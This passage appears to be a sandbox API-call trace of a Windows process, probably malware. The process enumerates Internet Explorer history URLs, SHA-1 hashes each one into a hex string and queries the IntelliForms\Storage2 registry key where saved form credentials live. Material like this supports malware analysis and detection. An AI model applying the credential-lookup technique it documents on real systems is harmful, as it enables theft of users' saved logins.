(hMem=0x28e7910) returned 0x0 [0097.370] CoTaskMemFree (pv=0x4435af0) [0097.370] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.371] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/RkP2X0.bmp", lpSrch="?") returned 0x0 [0097.371] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.371] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.371] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/RkP2X0.bmp") returned 44 [0097.371] CryptHashData (hHash=0x4451220, pbData=0x4451990, dwDataLen=0x5a, dwFlags=0x0) returned 1 [0097.371] CryptGetHashParam (in: hHash=0x4451220, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.371] CryptDestroyHash (hHash=0x4451220) returned 1 [0097.371] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.371] CoTaskMemFree (pv=0x4451990) [0097.371] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.372] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/1JIR6WH.flv", lpSrch="?") returned 0x0 [0097.372] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.372] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.372] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/1JIR6WH.flv") returned 57 [0097.372] CryptHashData (hHash=0x446a0a0, pbData=0x71e5020, dwDataLen=0x74, dwFlags=0x0) returned 1 [0097.372] CryptGetHashParam (in: hHash=0x446a0a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.372] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="35") returned 2 [0097.372] lstrlenW (lpString="") returned 0 [0097.372] lstrlenW (lpString="35") returned 2 [0097.372] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7186840 [0097.372] lstrcpyW (in: lpString1=0x7186840, lpString2="" | out: lpString1="") returned="" [0097.372] lstrcatW (in: lpString1="", lpString2="35" | out: lpString1="35") returned="35" [0097.372] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0097.372] lstrlenW (lpString="35") returned 2 [0097.372] lstrlenW (lpString="FD") returned 2 [0097.372] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c48e0 [0097.372] lstrcpyW (in: lpString1=0x28c48e0, lpString2="35" | out: lpString1="35") returned="35" [0097.373] lstrcatW (in: lpString1="35", lpString2="FD" | out: lpString1="35FD") returned="35FD" [0097.373] LocalFree (hMem=0x7186840) returned 0x0 [0097.373] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E4") returned 2 [0097.373] lstrlenW (lpString="35FD") returned 4 [0097.373] lstrlenW (lpString="E4") returned 2 [0097.373] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c2ae0 [0097.373] lstrcpyW (in: lpString1=0x28c2ae0, lpString2="35FD" | out: lpString1="35FD") returned="35FD" [0097.373] lstrcatW (in: lpString1="35FD", lpString2="E4" | out: lpString1="35FDE4") returned="35FDE4" [0097.373] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.373] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8A") returned 2 [0097.373] lstrlenW (lpString="35FDE4") returned 6 [0097.373] lstrlenW (lpString="8A") returned 2 [0097.373] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c48e0 [0097.373] lstrcpyW (in: lpString1=0x28c48e0, lpString2="35FDE4" | out: lpString1="35FDE4") returned="35FDE4" [0097.373] lstrcatW (in: lpString1="35FDE4", lpString2="8A" | out: lpString1="35FDE48A") returned="35FDE48A" [0097.373] LocalFree (hMem=0x28c2ae0) returned 0x0 [0097.373] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0097.373] lstrlenW (lpString="35FDE48A") returned 8 [0097.373] lstrlenW (lpString="34") returned 2 [0097.373] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c2ae0 [0097.373] lstrcpyW (in: lpString1=0x28c2ae0, lpString2="35FDE48A" | out: lpString1="35FDE48A") returned="35FDE48A" [0097.373] lstrcatW (in: lpString1="35FDE48A", lpString2="34" | out: lpString1="35FDE48A34") returned="35FDE48A34" [0097.373] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.373] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="39") returned 2 [0097.373] lstrlenW (lpString="35FDE48A34") returned 10 [0097.373] lstrlenW (lpString="39") returned 2 [0097.373] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71d0010 [0097.373] lstrcpyW (in: lpString1=0x71d0010, lpString2="35FDE48A34" | out: lpString1="35FDE48A34") returned="35FDE48A34" [0097.373] lstrcatW (in: lpString1="35FDE48A34", lpString2="39" | out: lpString1="35FDE48A3439") returned="35FDE48A3439" [0097.373] LocalFree (hMem=0x28c2ae0) returned 0x0 [0097.373] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0097.373] lstrlenW (lpString="35FDE48A3439") returned 12 [0097.373] lstrlenW (lpString="DA") returned 2 [0097.373] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d00c0 [0097.373] lstrcpyW (in: lpString1=0x71d00c0, lpString2="35FDE48A3439" | out: lpString1="35FDE48A3439") returned="35FDE48A3439" [0097.373] lstrcatW (in: lpString1="35FDE48A3439", lpString2="DA" | out: lpString1="35FDE48A3439DA") returned="35FDE48A3439DA" [0097.373] LocalFree (hMem=0x71d0010) returned 0x0 [0097.374] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8D") returned 2 [0097.374] lstrlenW (lpString="35FDE48A3439DA") returned 14 [0097.374] lstrlenW (lpString="8D") returned 2 [0097.374] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71d0010 [0097.374] lstrcpyW (in: lpString1=0x71d0010, lpString2="35FDE48A3439DA" | out: lpString1="35FDE48A3439DA") returned="35FDE48A3439DA" [0097.374] lstrcatW (in: lpString1="35FDE48A3439DA", lpString2="8D" | out: lpString1="35FDE48A3439DA8D") returned="35FDE48A3439DA8D" [0097.374] LocalFree (hMem=0x71d00c0) returned 0x0 [0097.374] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="29") returned 2 [0097.374] lstrlenW (lpString="35FDE48A3439DA8D") returned 16 [0097.374] lstrlenW (lpString="29") returned 2 [0097.374] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d00c0 [0097.374] lstrcpyW (in: lpString1=0x71d00c0, lpString2="35FDE48A3439DA8D" | out: lpString1="35FDE48A3439DA8D") returned="35FDE48A3439DA8D" [0097.374] lstrcatW (in: lpString1="35FDE48A3439DA8D", lpString2="29" | out: lpString1="35FDE48A3439DA8D29") returned="35FDE48A3439DA8D29" [0097.374] LocalFree (hMem=0x71d0010) returned 0x0 [0097.374] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="74") returned 2 [0097.374] lstrlenW (lpString="35FDE48A3439DA8D29") returned 18 [0097.374] lstrlenW (lpString="74") returned 2 [0097.374] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.374] lstrcpyW (in: lpString1=0x7290b70, lpString2="35FDE48A3439DA8D29" | out: lpString1="35FDE48A3439DA8D29") returned="35FDE48A3439DA8D29" [0097.374] lstrcatW (in: lpString1="35FDE48A3439DA8D29", lpString2="74" | out: lpString1="35FDE48A3439DA8D2974") returned="35FDE48A3439DA8D2974" [0097.374] LocalFree (hMem=0x71d00c0) returned 0x0 [0097.374] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="88") returned 2 [0097.374] lstrlenW (lpString="35FDE48A3439DA8D2974") returned 20 [0097.374] lstrlenW (lpString="88") returned 2 [0097.374] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.374] lstrcpyW (in: lpString1=0x72912f0, lpString2="35FDE48A3439DA8D2974" | out: lpString1="35FDE48A3439DA8D2974") returned="35FDE48A3439DA8D2974" [0097.374] lstrcatW (in: lpString1="35FDE48A3439DA8D2974", lpString2="88" | out: lpString1="35FDE48A3439DA8D297488") returned="35FDE48A3439DA8D297488" [0097.374] LocalFree (hMem=0x7290b70) returned 0x0 [0097.374] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CA") returned 2 [0097.374] lstrlenW (lpString="35FDE48A3439DA8D297488") returned 22 [0097.374] lstrlenW (lpString="CA") returned 2 [0097.374] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.374] lstrcpyW (in: lpString1=0x7290b70, lpString2="35FDE48A3439DA8D297488" | out: lpString1="35FDE48A3439DA8D297488") returned="35FDE48A3439DA8D297488" [0097.374] lstrcatW (in: lpString1="35FDE48A3439DA8D297488", lpString2="CA" | out: lpString1="35FDE48A3439DA8D297488CA") returned="35FDE48A3439DA8D297488CA" [0097.374] LocalFree (hMem=0x72912f0) returned 0x0 [0097.374] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0097.375] lstrlenW (lpString="35FDE48A3439DA8D297488CA") returned 24 [0097.375] lstrlenW (lpString="96") returned 2 [0097.375] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.375] lstrcpyW (in: lpString1=0x72912f0, lpString2="35FDE48A3439DA8D297488CA" | out: lpString1="35FDE48A3439DA8D297488CA") returned="35FDE48A3439DA8D297488CA" [0097.375] lstrcatW (in: lpString1="35FDE48A3439DA8D297488CA", lpString2="96" | out: lpString1="35FDE48A3439DA8D297488CA96") returned="35FDE48A3439DA8D297488CA96" [0097.375] LocalFree (hMem=0x7290b70) returned 0x0 [0097.375] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="77") returned 2 [0097.375] lstrlenW (lpString="35FDE48A3439DA8D297488CA96") returned 26 [0097.375] lstrlenW (lpString="77") returned 2 [0097.375] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.375] lstrcpyW (in: lpString1=0x2815a80, lpString2="35FDE48A3439DA8D297488CA96" | out: lpString1="35FDE48A3439DA8D297488CA96") returned="35FDE48A3439DA8D297488CA96" [0097.375] lstrcatW (in: lpString1="35FDE48A3439DA8D297488CA96", lpString2="77" | out: lpString1="35FDE48A3439DA8D297488CA9677") returned="35FDE48A3439DA8D297488CA9677" [0097.375] LocalFree (hMem=0x72912f0) returned 0x0 [0097.375] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DF") returned 2 [0097.375] lstrlenW (lpString="35FDE48A3439DA8D297488CA9677") returned 28 [0097.375] lstrlenW (lpString="DF") returned 2 [0097.375] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.375] lstrcpyW (in: lpString1=0x2815670, lpString2="35FDE48A3439DA8D297488CA9677" | out: lpString1="35FDE48A3439DA8D297488CA9677") returned="35FDE48A3439DA8D297488CA9677" [0097.375] lstrcatW (in: lpString1="35FDE48A3439DA8D297488CA9677", lpString2="DF" | out: lpString1="35FDE48A3439DA8D297488CA9677DF") returned="35FDE48A3439DA8D297488CA9677DF" [0097.375] LocalFree (hMem=0x2815a80) returned 0x0 [0097.375] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8F") returned 2 [0097.375] lstrlenW (lpString="35FDE48A3439DA8D297488CA9677DF") returned 30 [0097.375] lstrlenW (lpString="8F") returned 2 [0097.375] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.375] lstrcpyW (in: lpString1=0x2815a80, lpString2="35FDE48A3439DA8D297488CA9677DF" | out: lpString1="35FDE48A3439DA8D297488CA9677DF") returned="35FDE48A3439DA8D297488CA9677DF" [0097.375] lstrcatW (in: lpString1="35FDE48A3439DA8D297488CA9677DF", lpString2="8F" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F") returned="35FDE48A3439DA8D297488CA9677DF8F" [0097.375] LocalFree (hMem=0x2815670) returned 0x0 [0097.375] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="14") returned 2 [0097.375] lstrlenW (lpString="35FDE48A3439DA8D297488CA9677DF8F") returned 32 [0097.375] lstrlenW (lpString="14") returned 2 [0097.375] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.375] lstrcpyW (in: lpString1=0x2815670, lpString2="35FDE48A3439DA8D297488CA9677DF8F" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F") returned="35FDE48A3439DA8D297488CA9677DF8F" [0097.375] lstrcatW (in: lpString1="35FDE48A3439DA8D297488CA9677DF8F", lpString2="14" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F14") returned="35FDE48A3439DA8D297488CA9677DF8F14" [0097.375] LocalFree (hMem=0x2815a80) returned 0x0 [0097.375] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8C") returned 2 [0097.375] lstrlenW (lpString="35FDE48A3439DA8D297488CA9677DF8F14") returned 34 [0097.375] lstrlenW (lpString="8C") returned 2 [0097.376] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.376] lstrcpyW (in: lpString1=0x28e7910, lpString2="35FDE48A3439DA8D297488CA9677DF8F14" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F14") returned="35FDE48A3439DA8D297488CA9677DF8F14" [0097.376] lstrcatW (in: lpString1="35FDE48A3439DA8D297488CA9677DF8F14", lpString2="8C" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F148C") returned="35FDE48A3439DA8D297488CA9677DF8F148C" [0097.376] LocalFree (hMem=0x2815670) returned 0x0 [0097.376] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F8") returned 2 [0097.376] lstrlenW (lpString="35FDE48A3439DA8D297488CA9677DF8F148C") returned 36 [0097.376] lstrlenW (lpString="F8") returned 2 [0097.376] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.376] lstrcpyW (in: lpString1=0x28e7670, lpString2="35FDE48A3439DA8D297488CA9677DF8F148C" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F148C") returned="35FDE48A3439DA8D297488CA9677DF8F148C" [0097.376] lstrcatW (in: lpString1="35FDE48A3439DA8D297488CA9677DF8F148C", lpString2="F8" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F148CF8") returned="35FDE48A3439DA8D297488CA9677DF8F148CF8" [0097.376] LocalFree (hMem=0x28e7910) returned 0x0 [0097.376] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="29") returned 2 [0097.376] lstrlenW (lpString="35FDE48A3439DA8D297488CA9677DF8F148CF8") returned 38 [0097.376] lstrlenW (lpString="29") returned 2 [0097.376] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.376] lstrcpyW (in: lpString1=0x28e7910, lpString2="35FDE48A3439DA8D297488CA9677DF8F148CF8" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F148CF8") returned="35FDE48A3439DA8D297488CA9677DF8F148CF8" [0097.376] lstrcatW (in: lpString1="35FDE48A3439DA8D297488CA9677DF8F148CF8", lpString2="29" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F148CF829") returned="35FDE48A3439DA8D297488CA9677DF8F148CF829" [0097.376] LocalFree (hMem=0x28e7670) returned 0x0 [0097.376] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0097.376] lstrlenW (lpString="35FDE48A3439DA8D297488CA9677DF8F148CF829") returned 40 [0097.376] lstrlenW (lpString="9F") returned 2 [0097.376] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.376] lstrcpyW (in: lpString1=0x28e7670, lpString2="35FDE48A3439DA8D297488CA9677DF8F148CF829" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F148CF829") returned="35FDE48A3439DA8D297488CA9677DF8F148CF829" [0097.376] lstrcatW (in: lpString1="35FDE48A3439DA8D297488CA9677DF8F148CF829", lpString2="9F" | out: lpString1="35FDE48A3439DA8D297488CA9677DF8F148CF8299F") returned="35FDE48A3439DA8D297488CA9677DF8F148CF8299F" [0097.376] LocalFree (hMem=0x28e7910) returned 0x0 [0097.376] CryptDestroyHash (hHash=0x446a0a0) returned 1 [0097.376] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.376] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.376] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.376] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.376] LocalFree (hMem=0x28e7670) returned 0x0 [0097.376] CoTaskMemFree (pv=0x71e5020) [0097.377] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.377] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/dQCpeCQAd-tCOwn.docx", lpSrch="?") returned 0x0 [0097.377] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.377] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.377] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/dQCpeCQAd-tCOwn.docx") returned 56 [0097.377] CryptHashData (hHash=0x446a0a0, pbData=0x71e50a0, dwDataLen=0x72, dwFlags=0x0) returned 1 [0097.377] CryptGetHashParam (in: hHash=0x446a0a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.377] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7E") returned 2 [0097.377] lstrlenW (lpString="") returned 0 [0097.377] lstrlenW (lpString="7E") returned 2 [0097.377] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7186840 [0097.377] lstrcpyW (in: lpString1=0x7186840, lpString2="" | out: lpString1="") returned="" [0097.378] lstrcatW (in: lpString1="", lpString2="7E" | out: lpString1="7E") returned="7E" [0097.378] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3E") returned 2 [0097.378] lstrlenW (lpString="7E") returned 2 [0097.378] lstrlenW (lpString="3E") returned 2 [0097.378] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c2ae0 [0097.378] lstrcpyW (in: lpString1=0x28c2ae0, lpString2="7E" | out: lpString1="7E") returned="7E" [0097.378] lstrcatW (in: lpString1="7E", lpString2="3E" | out: lpString1="7E3E") returned="7E3E" [0097.378] LocalFree (hMem=0x7186840) returned 0x0 [0097.378] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="01") returned 2 [0097.378] lstrlenW (lpString="7E3E") returned 4 [0097.378] lstrlenW (lpString="01") returned 2 [0097.378] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c48e0 [0097.378] lstrcpyW (in: lpString1=0x28c48e0, lpString2="7E3E" | out: lpString1="7E3E") returned="7E3E" [0097.378] lstrcatW (in: lpString1="7E3E", lpString2="01" | out: lpString1="7E3E01") returned="7E3E01" [0097.378] LocalFree (hMem=0x28c2ae0) returned 0x0 [0097.378] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5C") returned 2 [0097.378] lstrlenW (lpString="7E3E01") returned 6 [0097.378] lstrlenW (lpString="5C") returned 2 [0097.378] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c2ae0 [0097.378] lstrcpyW (in: lpString1=0x28c2ae0, lpString2="7E3E01" | out: lpString1="7E3E01") returned="7E3E01" [0097.378] lstrcatW (in: lpString1="7E3E01", lpString2="5C" | out: lpString1="7E3E015C") returned="7E3E015C" [0097.378] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.378] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EF") returned 2 [0097.378] lstrlenW (lpString="7E3E015C") returned 8 [0097.378] lstrlenW (lpString="EF") returned 2 [0097.378] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c48e0 [0097.378] lstrcpyW (in: lpString1=0x28c48e0, lpString2="7E3E015C" | out: lpString1="7E3E015C") returned="7E3E015C" [0097.378] lstrcatW (in: lpString1="7E3E015C", lpString2="EF" | out: lpString1="7E3E015CEF") returned="7E3E015CEF" [0097.378] LocalFree (hMem=0x28c2ae0) returned 0x0 [0097.378] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E7") returned 2 [0097.378] lstrlenW (lpString="7E3E015CEF") returned 10 [0097.378] lstrlenW (lpString="E7") returned 2 [0097.378] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71d00c0 [0097.378] lstrcpyW (in: lpString1=0x71d00c0, lpString2="7E3E015CEF" | out: lpString1="7E3E015CEF") returned="7E3E015CEF" [0097.378] lstrcatW (in: lpString1="7E3E015CEF", lpString2="E7" | out: lpString1="7E3E015CEFE7") returned="7E3E015CEFE7" [0097.378] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.379] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="91") returned 2 [0097.379] lstrlenW (lpString="7E3E015CEFE7") returned 12 [0097.379] lstrlenW (lpString="91") returned 2 [0097.379] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d0010 [0097.379] lstrcpyW (in: lpString1=0x71d0010, lpString2="7E3E015CEFE7" | out: lpString1="7E3E015CEFE7") returned="7E3E015CEFE7" [0097.379] lstrcatW (in: lpString1="7E3E015CEFE7", lpString2="91" | out: lpString1="7E3E015CEFE791") returned="7E3E015CEFE791" [0097.379] LocalFree (hMem=0x71d00c0) returned 0x0 [0097.379] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0097.379] lstrlenW (lpString="7E3E015CEFE791") returned 14 [0097.379] lstrlenW (lpString="FD") returned 2 [0097.379] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71d00c0 [0097.379] lstrcpyW (in: lpString1=0x71d00c0, lpString2="7E3E015CEFE791" | out: lpString1="7E3E015CEFE791") returned="7E3E015CEFE791" [0097.379] lstrcatW (in: lpString1="7E3E015CEFE791", lpString2="FD" | out: lpString1="7E3E015CEFE791FD") returned="7E3E015CEFE791FD" [0097.379] LocalFree (hMem=0x71d0010) returned 0x0 [0097.379] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A4") returned 2 [0097.379] lstrlenW (lpString="7E3E015CEFE791FD") returned 16 [0097.379] lstrlenW (lpString="A4") returned 2 [0097.379] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d0010 [0097.379] lstrcpyW (in: lpString1=0x71d0010, lpString2="7E3E015CEFE791FD" | out: lpString1="7E3E015CEFE791FD") returned="7E3E015CEFE791FD" [0097.379] lstrcatW (in: lpString1="7E3E015CEFE791FD", lpString2="A4" | out: lpString1="7E3E015CEFE791FDA4") returned="7E3E015CEFE791FDA4" [0097.379] LocalFree (hMem=0x71d00c0) returned 0x0 [0097.379] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C9") returned 2 [0097.379] lstrlenW (lpString="7E3E015CEFE791FDA4") returned 18 [0097.379] lstrlenW (lpString="C9") returned 2 [0097.379] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.379] lstrcpyW (in: lpString1=0x72912f0, lpString2="7E3E015CEFE791FDA4" | out: lpString1="7E3E015CEFE791FDA4") returned="7E3E015CEFE791FDA4" [0097.379] lstrcatW (in: lpString1="7E3E015CEFE791FDA4", lpString2="C9" | out: lpString1="7E3E015CEFE791FDA4C9") returned="7E3E015CEFE791FDA4C9" [0097.379] LocalFree (hMem=0x71d0010) returned 0x0 [0097.379] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F1") returned 2 [0097.379] lstrlenW (lpString="7E3E015CEFE791FDA4C9") returned 20 [0097.379] lstrlenW (lpString="F1") returned 2 [0097.379] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.379] lstrcpyW (in: lpString1=0x7290b70, lpString2="7E3E015CEFE791FDA4C9" | out: lpString1="7E3E015CEFE791FDA4C9") returned="7E3E015CEFE791FDA4C9" [0097.379] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9", lpString2="F1" | out: lpString1="7E3E015CEFE791FDA4C9F1") returned="7E3E015CEFE791FDA4C9F1" [0097.379] LocalFree (hMem=0x72912f0) returned 0x0 [0097.379] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D6") returned 2 [0097.379] lstrlenW (lpString="7E3E015CEFE791FDA4C9F1") returned 22 [0097.379] lstrlenW (lpString="D6") returned 2 [0097.380] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.380] lstrcpyW (in: lpString1=0x72912f0, lpString2="7E3E015CEFE791FDA4C9F1" | out: lpString1="7E3E015CEFE791FDA4C9F1") returned="7E3E015CEFE791FDA4C9F1" [0097.380] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9F1", lpString2="D6" | out: lpString1="7E3E015CEFE791FDA4C9F1D6") returned="7E3E015CEFE791FDA4C9F1D6" [0097.380] LocalFree (hMem=0x7290b70) returned 0x0 [0097.380] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E6") returned 2 [0097.380] lstrlenW (lpString="7E3E015CEFE791FDA4C9F1D6") returned 24 [0097.380] lstrlenW (lpString="E6") returned 